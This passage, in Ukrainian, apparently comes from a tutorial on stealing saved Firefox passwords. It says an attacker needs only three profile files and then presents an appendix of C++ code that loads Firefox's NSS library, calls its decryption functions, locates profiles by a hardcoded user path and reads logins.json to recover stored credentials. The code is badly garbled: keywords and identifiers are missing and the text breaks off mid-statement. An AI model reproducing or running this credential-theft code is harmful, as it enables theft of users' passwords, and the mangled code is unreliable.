потрібні для розшифровки - cert8.db key3.db logins.json. Запускаємо програму і бачимо що наша програма знову розшифрувала паролі. Отже, для того щоб атакуючий зміг отримати дані від FF, йому знадобиться всього лише 3 вищевказаних файлу.
Повний робочий код наведений у Додатку.
Додаток
# include «stdafx.h»
# include lt; windows.h gt;
# include lt; windows.h gt;
# include lt; Shlwapi.h gt;
# include lt; Shlobj.h gt;
# include lt; string gt;
# include lt; vector gt;
# include lt; cstdio gt;
# include lt; iostream gt;
# include lt; fstream gt;
# pragma comment (lib, «shlwapi.lib»)
# pragma comment (lib, «crypt32.lib»)
# pragma comment (lib, «Shell32.lib»)
namespace std;
# define NOMINMAX
# define PRBool int
# define PRUint32 unsigned int
# define PR_TRUE 1
# define PR_FALSE 0
# define SQLITE_OK 0
# define SQLITE_ROW 100
# define SQLITE_API
enum SECItemType {= 0,=1 ,,,,,,,,,,,
} ;: string DecodeFireFox (const char * encryptedstring, const char * ffprofiledir, std: string firefoxpath);// v28_t decoded_size (const char * encoded_data); ii=0; ab (int i); SECItem {type; char * data; _t len;
}; enum SECStatus {= - 2,=- 1,=0
};
std: string getInstallPath (VOID) {lStatus; cbSize; value [MAX_PATH] ;: string path=«SOFTWARE Mozilla Mozilla Firefox»;
=MAX_PATH; (! SHGetValue (HKEY_LOCAL_MACHINE, (LPCWSTR) «SOFTWARE Mozilla Mozilla Firefox», (LPCWSTR) «CurrentVersion», 0, value, amp; cbSize)) {+=« »; +=value; + =« Main »;=MAX_PATH;=SHGetValue (HKEY_LOCAL_MACHINE, (LPCWSTR) path.c_str (), (LPCWSTR)« Install Directory », 0, value, amp; cbSize);
} value;
} LoadLib (std: string installPath)
{
//ab ();
//setup pathpath [4096]; dwError=GetEnvironmentVariable ((LPCWSTR) «PATH», (LPWSTR) path, 4096) ;: string newPath=path; +=(»;» + installPath) ;
SetEnvironmentVariable ((LPCWSTR) «PATH», (LPCWSTR) newPath.c_str ());
hNSS=LoadLibrary (L «nss3.dll»); error=GetLastError ();
(hNSS) {= (NSS_Init) GetProcAddress (hNSS, «NSS_Init»);=(NSS_Shutdown) GetProcAddress (hNSS, «NSS_Shutdown»); GetInternalKeySlot=(PK11_GetInternalKeySlot) GetProcAddress (hNSS, «PK11_GetInternalKeySlot» ); FreeSlot=(PK11_FreeSlot) GetProcAddress (hNSS, «PK11_FreeSlot»); Authenticate=(PK11_Authenticate) GetProcAddress (hNSS, «PK11_Authenticate»); SDRDecrypt=(PK11SDR_Decrypt) GetProcAddress (hNSS, «PK11SDR_Decrypt»); CheckUserPassword=(PK11_CheckUserPassword) GetProcAddress (hNSS, «PK11_CheckUserPassword»); _ open=(function) GetProcAddress (hNSS, «sqlite3_open»); _ prepare_v2=(function2) GetProcAddress (hNSS, «sqlite3_prepare_v2»); _ step=(function3) GetProcAddress (hNSS, «sqlite3_step»); _column_text=(function4) GetProcAddress (hNSS, «sqlite3_column_text»); _ Init=(function6) GetProcAddress (hNSS, «NSS_Init»); _ Shutdown=(function7) GetProcAddress (hNSS, «NSS_Shutdown»);
}! (! NSSInit ||! NSSShutdown ||! PK11GetInternalKeySlot ||! PK11Authenticate ||! PK11SDRDecrypt ||! PK11FreeSlot ||! PK11CheckUserPassword);
} EnumProfiles (VOID)
{path [MAX_PATH]; appData [MAX_PATH], profile [MAX_PATH]; sections [4096];
(NULL, CSIDL_APPDATA, NULL, SHGFP_TYPE_CURRENT, (LPWSTR) appData); ((LPWSTR) sections, 4096, L «C: Users Vahagn AppData Roaming Mozilla Firefox profiles. ini »); * p=sections;
=1; (1);=2, (2);
} ab (int ii)
{: string sProfilePath="C: Users Vahagn AppData Roaming Mozilla Firefox Profiles » ;: string sFirefoxPath="C: Users Vahagn AppData Roaming Mozilla Firefox Profiles k7z1336z.default »;: string sJsonDB=sFirefoxPath +« logins.json »;: string sTempline =« »;: ifstream ifJson; .open (sJsonDB.c_str (), std: ios: in); (ifJson.is_open ())
{(getline (ifJson, sTempline))
{ii=sTempline....